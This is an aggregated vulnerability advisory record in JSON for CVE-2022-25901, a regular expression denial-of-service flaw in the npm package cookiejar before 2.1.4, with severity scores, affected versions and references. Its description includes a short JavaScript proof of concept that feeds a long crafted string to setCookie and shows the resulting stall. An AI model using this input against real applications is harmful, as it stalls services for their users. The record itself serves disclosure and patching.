{"id":"CVE-2022-25901","aliases":["CVE-2022-25901","GHSA-h452-7996-h45h"],"related":[],"kind":"vulnerability","state":"published","title":"cookiejar Regular Expression Denial of Service via Cookie.parse function","summary":"Versions of the package cookiejar before 2.1.4 are vulnerable to Regular Expression Denial of Service (ReDoS) via the Cookie.parse function, which uses an insecure regular expression.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Versions of the package cookiejar before 2.1.4 are vulnerable to Regular Expression Denial of Service (ReDoS) via the Cookie.parse function, which uses an insecure regular expression.","source":"cvelist"},{"lang":"en","text":"Versions of the package cookiejar before 2.1.4 are vulnerable to Regular Expression Denial of Service (ReDoS) via the `Cookie.parse` function and other aspects of the API, which use an insecure regular expression for parsing cookie values. Applications could be stalled for extended periods of time if untrusted input is passed to cookie values or attempted to parse from request headers.\n\nProof of concept:\n\n```\nts\\nconst { CookieJar } = require(\"cookiejar\");\n\nconst jar = new CookieJar();\n\nconst start = performance.now();\n\nconst attack = \"a\" + \"t\".repeat(50_000);\njar.setCookie(attack);\n\nconsole.log(`CookieJar.setCookie(): ${performance.now() - start}ms`);\n\n```\n\n```\nCookieJar.setCookie(): 2963.214399999939ms\n```","format":"markdown","source":"ghsa"},{"lang":"es","text":"Las versiones del paquete cookiejar anteriores a 2.1.4 son vulnerables a la denegación de servicio de expresión regular (ReDoS) a través de la función Cookie.parse, que utiliza una expresión regular insegura.","source":"nvd"}],"published":"2023-01-18T05:00:01.282Z","modified":"2026-06-17T04:34:28.183Z","severity":{"scorer":"snyk","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L/E:P","score":5.3,"rating":"MEDIUM"},"severities":[{"scorer":"snyk","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L/E:P","score":5.3,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","score":5.3,"rating":"MEDIUM"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"}],"cwes":["CWE-1333"],"affected":[{"ranges":[{"type":"semver","introduced":"0","fixed":"2.1.4","status":"affected"}],"product":"cookiejar","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","fixed":"*","status":"affected"}],"product":"org.webjars.npm:cookiejar","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"2.1.4"}],"ecosystem":"npm","package":"cookiejar","purl":"pkg:npm/cookiejar","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","lastAffected":"2.1.3"}],"ecosystem":"Maven","package":"org.webjars.npm:cookiejar","purl":"pkg:maven/org.webjars.npm/cookiejar","source":"ghsa"},{"ranges":[{"status":"affected","lastAffected":"2.1.3"}],"vendor":"cookiejar_project","product":"cookiejar","cpe":"cpe:2.3:a:cookiejar_project:cookiejar:*:*:*:*:*:node.js:*:*","source":"nvd"}],"references":[{"url":"https://security.snyk.io/vuln/SNYK-JS-COOKIEJAR-3149984","tags":["exploit","third-party-advisory","web","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-3176681","tags":["exploit","third-party-advisory","web","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/bmeck/node-cookiejar/blob/master/cookiejar.js%23L73","tags":["broken-link","web","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/bmeck/node-cookiejar/pull/39","tags":["patch","third-party-advisory","web","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/bmeck/node-cookiejar/pull/39/commits/eaa00021caf6ae09449dde826108153b578348e5","tags":["patch","third-party-advisory","web","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://lists.debian.org/debian-lts-announce/2023/09/msg00008.html","tags":["web","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2022-25901","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/bmeck/node-cookiejar","tags":["package"],"sources":["ghsa"]},{"url":"https://github.com/bmeck/node-cookiejar/blob/master/cookiejar.js#23L73","tags":["web"],"sources":["ghsa"]}],"credits":["Carter Snook"],"assigner":"snyk","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2025-04-02T16:25:17.757Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2022-25901","url":"https://www.cve.org/CVERecord?id=CVE-2022-25901","licence":"CVE Terms of Use","modified":"2025-04-03T19:33:00.360Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-h452-7996-h45h","url":"https://github.com/advisories/GHSA-h452-7996-h45h","licence":"CC-BY-4.0","modified":"2025-02-13T19:03:25.062Z"},{"source":"nvd","name":"NVD","id":"CVE-2022-25901","url":"https://nvd.nist.gov/vuln/detail/CVE-2022-25901","licence":"Public domain","modified":"2026-06-17T04:34:28.183Z"}],"updatedAt":"2026-11-25T22:58:18.239Z","epss":{"score":0.0165,"percentile":0.77226,"date":"2026-12-01T12:00:22.000Z"}}